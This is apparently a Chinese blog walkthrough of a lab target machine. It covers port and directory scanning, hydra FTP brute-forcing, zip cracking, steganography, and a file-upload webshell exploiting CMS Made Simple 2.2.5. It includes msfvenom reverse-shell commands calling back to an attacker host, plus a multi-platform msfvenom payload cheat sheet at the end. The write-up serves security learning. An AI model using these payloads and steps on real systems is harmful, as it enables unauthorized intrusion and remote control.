第二次的靶机
也就是摇了三次骰子,两次一,最后一次五,以为能翻盘了,结果人家摇了个六
很高兴被《全员开冲》的xdm推(卖)出来当第一个发文章的冤种,苦思冥想不知道发什么好,刚好,yjy神搭起了个靶机,大家也恰好都没打过,文章素材这不就来了~
靶机地址:192.168.100.150(在内网里,咱就还是就象征性写一下,正式一点)
信息收集
一打开界面很帅,继续往下找找看有没有什么突破口,有一行字慢慢飘过来——“雾队点击这里”
乖乖点进去
看样子给的线索是要拿下FOG-TEAM的权限,查看了一下源码,在前端页面只能说什么都干不了,那么,上线好吧
发现一个GitHub上的地址,开个小代理去访问一下
先把 SoundStegno 下载下来,发现是一个音频文件
Nmap -p 1-65535 -A 192.168.100.150 //扫描端口
发现开启了FTP服务(数据传输协议),记住它,下面要考的
git clone https://github.com/hacksudo/SoundStegno.git
这是拷贝一个 Git 仓库到本地,让自己能够查看该项目,或者进行修改的操作
拷贝完成后,在当前目录下会生成一个 SoundStegno 目录,直接看看有哪些文件(小声bb:这些文件其实在解压之后也可以看到,但是就是想玩玩嘿嘿)
这里的Stegno(眼熟麻,眼熟就对了)要拿小本本记下来,后面要考的
不玩了,切入正题,扫目录
发现了一个 cms 的目录,去访问一下
当然,不用工具当然是最好的,御剑有些东西扫不出来,先放着,继续看看/cms还有没有可利用的
哦吼,发现是有登录界面的
这样思路大概就清晰了,我们接下来就是要获取账号密码进入,再仔细看看网页可以发现有一个类似用户名的信息
保险起见用gobuster再来遍历一下目录,emmm只能说我一整个踩坑达人,显示无法找到软件包
于是,更新一下存储库缓存
sudo apt update
试了一下,这样确实就解决了,度娘yyds,然后继续
输入:gobuster dir -e -u http://192.168.100.150 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php,.html;
扫出了好几个,就是时间有一点漫长,这才显示扫了一半(但是看到服务器状态文件都出来了,就不用再继续等它扫了),但是已经比御剑多了,先试试看去访问一下
接下来的话,就是把字典文件下载到本地
wget http://192.168.100.150/dict.txt
下一个/fog
只能说啥也不是,那就是从字典下手了,猜测会不会这个字典是cms的登录密码
大胆尝试一下,发现不是,接下来就卡了好久
复现漏洞( CVE-2019-9692)
CMSMS模块Showtime2任意文件上传漏洞 CVE-2019-9692分析
先查看当前的版本号
显示是CMS Made Simple 2.2.5版本
听师傅的去爆破一下FTP,网址放上来黑客工具之hydra详细使用教程 - 知乎 (zhihu.com)
这里就得到了ftp的密码吼吼,终于有进展了,孩子感动
接下来就要登录ftp了
发现有两个文件
get flag1.txt
下载下来,然后一直出现cat不出来的尴尬局面,因为我们还在ftp的命令里,而所以要先退回linux,在本地查看
去访问了一下
被师傅紧急叫停,不能跑人家出题人的站瞎搞
接着去下载第二个文件,又双双叒叕踩bug
只能说这里被狠狠上了一课,这个是个压缩包,不能直接get后cat
先进入hacksudo_ISRO_bak目录下,看到有三个文件,其实就一个是有用的(可以都尝试下载下来看一看)
发现是一大串乱码,那就直接去本地文件里看,直观一点
发现是加密的,接下来看看Kali自带的工具能不能压缩解密一下
找到了John这个工具,去查了一下它的用法,就可以直接开始
john secr3tSteg.txt
密码是 fooled,拿着去试试看
成功~
接下来提取隐写信息,这里被卡了好久 ,一直显示找不到ExWave.py文件,就吸取上次教训,不会一次次重新输入命令,这次好好打开文件夹,看图形化界面会更清楚一些,发现文件确实是在的,那么就把路径全标清楚试试看
python3 /root/Desktop/SoundStegno-main/ExWave.py -f /root/hacksudoSTEGNO.wav
得到了一串加密字符,这里直接丢度娘,说不定会自己跳出来什么
Your Secret Message is: Shift by 3
ABCDEFGHIJKLMNOPQRSTUVWXYZ
DEFGHIJKLMNOPQRSTUVWXYZABC
zzzz.orfdokrvw/irj Xvhuqdph=irj:sdvvzrug=kdfnvxgrLVUR
然后就跳出了这个靶机的解法,点进去看就知道是要进行凯撒解码,又是一个没接触过的东西
那我们还是要自己试试看的,去解个密就直接出了用户名和密码
应该就是cms的用户了,去试着登录一下
接近getshell了,冲冲冲
有一个文件上传点
尝试了一下,发现是可以的,上burp
这里我直接用了.phtml后缀,然后进行传马,然后蚁剑连一下
吼吼,也就是我们在这里可以发现存在任意文件上传漏洞,可以上传任意php代码,得到shell~
msf shell
这里我们因为有了之前的经验,就msf上线好叭
msfconsole //登录msf
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.100.217 lport=4444 -f elf >/root/xjw.elf //生成马
show options //查看该模块所有可用选项,比如说我们进入漏洞模块,执行攻击的话,看需要配置哪一些模块的一些选项
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.100.217
show options
run //开启监听
打开蚁剑的终端(我们文件上传的目录)
chmod 777 xjw.elf //把读写权限全打开
- 7 = 4 + 2 + 1 读写运行权限
- 5 = 4 + 1 读和运行权限
- 4 = 4 只读权限
有三组用户是因为三个数字对应三类用户对该文件的权限——文件所属用户;所属用户的同一用户组的用户;其他用户
.xjw.elf //连接本机和靶机
搞定啦
FTP小芝士
要连上 FTP 服务器(即“登陆”),必须要有该 FTP 服务器授权的帐号,也就是说你只有在有了一个用户标识和一个口令后才能登陆FTP服务器,享受FTP服务器提供的服务
在TCP/IP协议中, 需要两个端口,一个是数据端口,一个是控制端口。控制端口一般为21,而数据端口不一定是20,这和FTP的应用模式有关,如果是主动模式,应该为20,如果为被动模式,由服务器端和客户端协商而定。相比于HTTP,FTP协议要复杂得多。复杂的原因,是因为FTP协议要用到两个TCP连接,一个是命令链路,用来在FTP客户端与服务器之间传递命令;另一个是数据链路,用来上传或下载数据。
提权小芝士
参考自:(14条消息) msf 生成php马_msf系列篇章之msf的基础模块和命令_weixin_39583013的博客-CSDN博客
Linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > shell.exe
Mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT= -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war > shell.war
Python:
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
评论已关闭